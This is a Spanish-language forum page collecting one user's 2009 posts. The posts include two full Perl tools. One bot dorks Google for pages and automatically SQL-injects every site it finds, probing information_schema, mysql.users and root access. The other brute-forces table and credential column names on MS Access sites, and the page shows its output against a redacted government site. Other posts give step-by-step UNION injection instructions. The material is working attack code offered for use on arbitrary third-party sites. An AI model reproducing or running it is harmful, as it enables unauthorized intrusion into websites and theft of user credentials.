Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - MagnoBalt

#11
Nivel Web / Re: Bot MySQL Search Google 2.0
19 Octubre 2009, 21:04 PM
y gente alguien lo probo?
#12
Nivel Web / Bot MySQL Search Google 2.0
19 Octubre 2009, 05:59 AM
Bueno gente aca les dejo un BOT que que lo codee hace un tiempito atras. El que publico, está en la version 2.0.
Lo que hace el BOT es buscar en google con un patron de busqueda y luego testear si la pagina es posiblemente inyectable a SQL., en el caso de que lo sea lo guarda para despues intentar inyectar por si solo. Todo lo almacena en un archivo que nosotros le pasamos como parametro su nombre. Un Ejemplo de uso:

         
Citar+++++++++++++++++++++++++++++++++++++
               +     Bot MySQL Search Google 2.0   +
               +         By MagnoBalt              +
               +++++++++++++++++++++++++++++++++++++

[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:noticias.php?id= site:com.ar
[?]Total de paginas de busquedas en Google: >> 10                                              
[?]Nombre de archivo donde guardar todo: >>argetinas.txt                                        

  • Search:
Fijense los parametros. el primero es el patron de busqueda inurl:noticias.php?id= site:com.ar
, el segundo es la cantidad de paginas para google 10, y en el tercer es el nombre del archivo donde almacenara todo para despues revisarlo con mayor tranquilidad argetinas.txt  

El ataque de la inyeccion se divide en estos pasos.+
1. Obviamente sacar la cantidad de columnas mediante la clausula UNION con una cota superior de 50. (eso lo pueden modificar en el codigo si quieren aun mas)
2. Verificar disponibilidad de Information_schema
3. Verificar disponibilidad de Mysq.Users
4. Verificar si el usuario de la base de datos es r00t. :)

Tengo pensado seguir agregandole mas cosas como busquedas atraves del BING y testeo de otras posibles formas de inyecciones. Si alguien tiene alguna sugerencia, critica, comentario, codigo lo que sea con mucho gusto sera recibido..

Aqui va el codigo.

Código (perl) [Seleccionar]

#Bot MySql Search Google v 2.0
#Coded by Magnobalt
#contact Msn: magnobalt@gmail.com
#thanks www-Insecurity.cl && www.undersecurity.net

#!/usr/bin/perl
       use LWP::Simple;
       use LWP::UserAgent;
       use HTTP::Request;

my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); } #que sistema operativo es
       print "\t\t+++++++++++++++++++++++++++++++++++++\n";
       print "\t\t+     Bot MySQL Search Google 2.0   +\n";
       print "\t\t+         By MagnoBalt              +\n";
   print "\t\t+++++++++++++++++++++++++++++++++++++\n\n";
       print "[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> ";
       $dork.=<STDIN>;
chomp($dork);
print "[?]Total de paginas de busquedas en Google: >> ";
       $paginas.=<STDIN> ;
chomp($paginas);
print "[?]Nombre de archivo donde guardar todo: >>";
$archivo.=<STDIN>;
chomp($archivo);
       open (AR,">>".$archivo) || die "No puede crear el archivo error: $!";
print "\n[+]Search:\n\n";
print AR "++++++++++++++++++++++++++++++++++++\n";
       print AR "+     Bot MySQL Search Google V2.0 +\n";
       print AR "+         By MagnoBalt             +\n";
print AR "++++++++++++++++++++++++++++++++++++\n\n";
print AR "Patron De Busqueda en Google: $dork y paginas utilizadas: $paginas\n";
print AR "\n[+]Search:\n\n";
#-----------------------------------------------------------------------------------------------------
#Buscando en google vulnerabilidades
       for($i = 0;$i <= $paginas*10;$i += 10)
       {      
       $busqueda = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$i;
   $ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
           $ua->timeout(7);
           #$ua->env_proxy;
           $response = $ua->get($busqueda);
   $source= $response->content;
           while ($source =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
    $ban=0;    
    my $enlace = $1;
    $testing=$enlace."\'";
    $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
    $ua->timeout(10);
    $response = $ua->get($testing);
    $error=$response->content;
if($error=~ /mysql_fetch_/ || $error=~ /You have an error in your SQL syntax/ || $error =~ /tem um erro de sintaxe no seu SQL/ || $error =~ /mysql_num_rows/ || $error =~ /Division by zero in/) {
#-----------------------------------------------------------------------------------------------------
# Verifico si existe la url en entre las victimas para no redundar
 foreach $exist(@victims){
   my($url)=$exist=~m/(http:\/\/[\w+\.]+\/)/;
   my($url2)=$enlace=~m/(http:\/\/[\w+\.]+\/)/;
     if ($url eq $url2){
$ban=1;
}
}#cierre foreach
     if ($ban == 0){
push(@victims,$enlace);
   }
#-----------------------------------------------------------------------------------------------------
 }
   }
}#fin del for

if (@victims){ #verifico si no esta vacio el arrays
 print "\n[+]Estas son las  posibles victimas:\n";
 for($i=0;$i<=$#victims;$i++){
 print "[$i]$victims[$i]\n";
 print AR "[$i]$victims[$i]\n";
     }  
}else {
 print "[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n";
 print AR "[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n";
 exit(0);
}
#-----------------------------------------------------------------------------------------------------
# Empezando la automatizacion del bot
#-----------------------------------------------------------------------------------------------------
print"\n\n[+]Empezando la automatizacion del BOT\n";
print AR "\n\n[+]Empezando la automatizacion del BOT\n";
for($ii=0;$ii<=$#victims;$ii++){
$ban2=0;
$victima=$victims[$ii];
print "\n[+] Inyectando a: $victima\n";
$cfin ="--" ;
$cmn="+";
#$victims[$opc]=$victims[$opc]." *";# Coloco al final el Asterisco
$victima=~s/[a-zA-Z0-9_\*\s]+$//g;;#dejo en blanco el ultimo parametro ($) para poder inyectar, inclusive los valores * y espacion en blanco con \s
misma_victima:
if ($ban2 == 1) {
   $cfin ="/*" ;
   $cmn="/**/";
}
 #-----------------------------------------------------------------------------------------------------
#busqueda de Columnas
$column=50;
for ($col=0; $col <=$column;$col++){
    $union.=','."0x6d61676e6f62616c74";
    $numero.=','.$col;
     if ($col ==0){
     $union='';
     $numero='';
     }
    $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cfin;
    $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
    $ua->timeout(10);
    $response = $ua->get($out);
    $verifica=$response->content;
            if ($verifica =~/magnobalt/) {
$col++;
print "\n[+]La web posee $col";
print "\n[+]".$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0".$numero.$cfin."\n\n";
print AR "[SITIO]\n";
print AR "$victima\n";
print AR "[+]La web posee $col\n";
print AR "[+]".$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0".$numero.$cfin."\n\n";
#-----------------------------------------------------------------------------------------------------
#buscando Information_schema
print AR "[Information_Schema]\n";
$out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."information_schema.tables".$cfin;#busco information schema.
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica =~/magnobalt/){
    print AR "[+]Information Schema Disponible\n\n";
    }else {
    print AR "[-]Information_Schema no Disponible\n\n";
     }
#-----------------------------------------------------------------------------------------------------
#buscando Mysql.users
print AR "[Mysql.users]\n";
$out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."Mysql.users".$cfin;
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica =~/magnobalt/){
    print AR "[+]Mysql.users Disponible\n\n";
    }else {
    print AR "[-]Mysql.users no Disponible\n\n";
     }
                #-----------------------------------------------------------------------------------------------------
#verficando si esta corriendo como root
print AR "[Usuario RooT]\n";
while($j < $col-1){
   $root.=','."concat(0x6d61676e6f62616c74,user())";
   $j++;
 }
$out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."concat(0x6d61676e6f62616c74,user())".$root.$cfin;
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica=~/magnobaltroot@/){
    print AR "[+]El usuario es root\n\n";
    }else {
    print AR "[-]El usuario no es root\n\n";
     }
push(@victims_on,$victima);
$col=80;#fuerzo salida del for de columnas
   
    }
}#cierre for de columnas
 if ($ban2 == 0 && $col == 51){
           $ban2=1;  
     goto misma_victima;
     }
 if ($cfin eq "/*" && $col == 51){
     push(@victims_off,$victima);
   }
 
}#cierre for principal

#------------------------------------------------------------------------------------------------------------
#imprimimos la que tuvieron exitos y las que no

print AR "[+]Paginas inyectadas exitosamente\n\n";
for($i=0;$i<=$#victims_on;$i++){
 print AR "[$i]$victims_on[$i]\n";
     }  
print "\n\n";
print AR "\n[-]Estas paginas no se pudieron automatizar intentelas a mano :)\n\n";
for($i=0;$i<=$#victims_off;$i++){
  print AR "[$i]$victims_off[$i]\n";
     }  



Saludos a Todos...

#13
Nivel Web / Re: SQL injection
20 Septiembre 2009, 07:27 AM
CitarDarioxhcx, ese paper es para inyecciones SQL, resulta que esta pagina usaba ACCESS.

En realidad bro ACCESS maneja tambien SQL, lo que Darioxhcx te ha pasado es un paper que si bien es para inyecciones en SQL esta basado para el Motor MYSQL


Saludos
#14
Nivel Web / Re: [Aplicación] String-Ascii by castg
20 Septiembre 2009, 07:22 AM
Aca va el mio para pasar un string al formato char(115,116,114,105,110,103) Codeado en Perl.. Buenos codigos Sigamos con mas.. Saludos


Código (perl) [Seleccionar]
#!/usr/bin/perl
sub decimal {
my (@arreglo2) = @_;


  $i = 0;
  foreach $letra(@arreglo2)
{
if ($i <= $#arreglo) {
@arreglo3[$i] = ord($letra);
$i++;
     }
}
return @arreglo3;
}
print "====================================================\n";
print "Ingresa la cadena a pasar a Decimal\n";
print "dicha tiene q estar deletreada separada por coma\n";
print "ejemplo: u,s,u,a,r,i,o \n";
print "====================================================\n";
print ">>";
$cadena.=<STDIN>;
chomp($cadena);
print "Cadena = ";
print "$cadena\n\n";
@arreglo=split(",",$cadena);

print "Decimal:char(";
print join ",",&decimal(@arreglo);
print ")\n\n"
#15
Si tenes un buen diccionario publicalo asi lo mejoro al mio
Gracias
#16
Hola bro si con el Null byte es para anular la inyeccion me olvide de comentarte.. eso. Y habia hecho uno tambien para encontrar las tablas en perl pero esta maso no mas le faltaba mucho mas cosas y deje a media. Pero para la pagina que estaba auditando me resulto perfecto...

Access Injection SQL

Código (perl) [Seleccionar]
#!/usr/bin/perl
use IO::Socket;
$ban=0;
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','accesos',
  'name','names','nombre','nombres','member','members','admin_table',
  'miembro','miembros','membername','admins','administrator','sign',
  'administrators','passwd','password','passwords','pass','Pass',
  'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names',
  'member_password','mods','mod','moderators','moderator','user_email',
  'user_emails','user_mail','user_mails','mail','emails','email','address',
  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  'sistema_usuario','sistema_password','contrase�a','auth','key','senha','signin',
  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
@nombrecolumna=('emailAdmin',
  'passAdmin','clave','admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login',
          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','nom_usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','senha','MEMBER','Clave_de_acceso','passwordAdmin','nameAdmin','loginAdmin','emailAdmin',
  'passAdmin','IdAdmin' ,'nameAdmin' ,'emailAdmin','passswordAdmin');


sub socket{
    my $inyec= shift;
$socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
print $socket "GET " .$path.$inyec.$tabla. " HTTP/1.0\r\n";
print $socket "HOST:$host\r\n";
print $socket "\n\n";
if ($ban ==1){
print "------------------------$tabla---------------------------------------\n";}
return $socket;
  }

if (!@ARGV[1]) {
      print "======================================================= \n";
      print " Injection AIS V 1.0 beta by MagnoBalt \n\n";
      print " use perl $0 www.pagina.com.ar /noticia.php?id=\n\n";
  print " AIS:Acces Injection SQL \n";
      print "======================================================= \n";
      exit(0);
      }
$host =$ARGV[0];
$path=$ARGV[1];
print "\n[-]Buscando Tablas \n";
$iny="-1+UNION+SELECT+0+FROM+";
#print "antes de la funcion valor $iny\n";
foreach $tabla(@nombretabla) {
  chomp($tabla);   
  #empuezo a guardar linea por linea el source en $response
  $socket=&socket($iny);
  while (<$socket>) {$response .= "$_ "}
  if($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/)
{
print "[+]Tabla $tabla FOUND\n";
$tabla_aux=$tabla;
    }
#print $response;
$response="";#limpio la variable
}#cierrre foreach
#buscamos numeros de columnas
print "[-]Buscando numeros de columnas\n";
print "[-]Ingrese Maximo con cual intentar \n";
$col.=<STDIN>;
chomp($col);
print "[-]Buscando..\n";
$columna=1;
while ($columna <= $col) {
$union.=','.$columna;
$iny="-1+UNION+SELECT+0".$union."+FROM+".$tabla_aux;
$socket=&socket($iny);
while (<$socket>) { $response .= "$_ "}
#print $response; 
if ($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/)
{
print "[!] Fallo intento columna $columna\n";
}
else {
$col_aux=$columna;
$columna++;
print "[+]La Web Posee $columna columnas\n ";
print "$ARGV[0]$ARGV[1]$iny\n";
$columna = $col;#fuerzo la salida del while.
}
$response="";#limpio la variable
$columna++;
}
#Bruteando las columnas
print "[-]Bruteando las columnas\n";
print "[-]Ingrese Tabla a la cual brutear:\n";
$tabla_aux="";
$tabla_aux.=<STDIN>;
chomp($tabla_aux);
$i=1;

while($i <= ($col_aux-1)) {#obtengo columnas menos una
    $cant.=','.$i;
     $i++;
      }
foreach $column(@nombrecolumna){
   chomp($column);
   $iny="-1+UNION+SELECT+0".$cant.",".$column."+FROM+".$tabla_aux;
   $socket=&socket($iny);
while (<$socket>) { $response .= "$_ "}
  if ($response=~/No value given for one or more required parameters/ || $response=~/80040e10/) {
    }
  else{
    print "[+] Columna $column encontrada\n";
      }
$response="";
  }





close $socket;
exit(0);




Citar[-]Buscando Tablas
  • Tabla accesos FOUND
    [-]Buscando numeros de columnas
    [-]Ingrese Maximo con cual intentar
    15
    [-]Buscando..
    [!] Fallo intento columna 1
    [!] Fallo intento columna 2
    [!] Fallo intento columna 3
    [!] Fallo intento columna 4
  • La Web Posee 6 columnas
    www.xxxxxxxxxxxxx.gob/path/NoticiaVer.asp?id=-1+UNION+SELECT+0,1,2,3,4,5+FROM+accesos
    [-]Bruteando las columnas
    [-]Ingrese Tabla a la cual brutear:
    accesos
  • Columna authorization encontrada
  • Columna email encontrada
  • Columna nombre encontrada
  • Columna pwd encontrada
  • Columna usuario encontrada
  • Columna passwordAdmin encontrada
#17
Nivel Web / Re: dudas/problemas sql injection mssql
14 Septiembre 2009, 20:37 PM
Hola kamsky, esa web que estas inyectando tiene un MS-ACCESS, por lo cual con la clausula Having no vas a poder inyectar nada, ya que esa tecnica se usa para los SQL Server. De todos modos intentadolo con UNION.
Por ejemplo:
1) Intentar brutear una posible tabla. de esta forma

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1 from usuarios
Si la tabla usuarios no existe te arrojara un error algo similar a esto

The Microsoft Jet database engine cannot find the input table or query 'usuarios'. Make sure it exists and that its name is spelled correctly.

Ahora entonces intenta con otra tabla hasta que te tire un error de que la cantidad de columnas para UNION no conincide.. Seria algo asi

The number of columns in the two selected tables or queries of a union query do not match.



2) Ahora tenes que encontrar la cantidad de columnas

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2  from usuarios
www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,3  from usuarios
.
.

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,3,.....,n  from usuarios

Hasta que no haya error y puedas ver algunos numeros q colocaste de constantes en la busqueda de columnas

3) Y ahora solo queda brutear las posibles Columnas de la tabla encontrada

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,pass,....,n  from usuarios

Donde pass es la columna, si exisitiera podras ver el valor que contiene pass.. Y asi intentar con otra columnas hasta encontrar

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,password,....,n  from usuarios
.
.
ETC


Espero averte ayudado asi es como yo inyhecto en ACCESS. Si alguien conoce otra forma, que la muestre

Saludos
#18
Muy Bueno Gracias por compartir OzX Genial!!..
#19
Buenas puede ser que el usuario de Mysql no tenga permiso para leer ese Path..
Me ha pasado..

Saludos!!
#20
Nivel Web / Re: (DUDA) Haciendo SQL Injection.
30 Julio 2009, 19:05 PM
Hola aagos. Ahi te paso un Script en Perl hecho por Loggin-root. Si estas en Linux no tendras ningun drama con perl pero en widnows tenes que bajarte el interprete.. Busca en Google..
Aqui va el Link.. valga la redundancia esta codeado en perl

http://argentinasec.blogspot.com/2008/07/sql-pw-v07-by-login-root.html


Saludos!!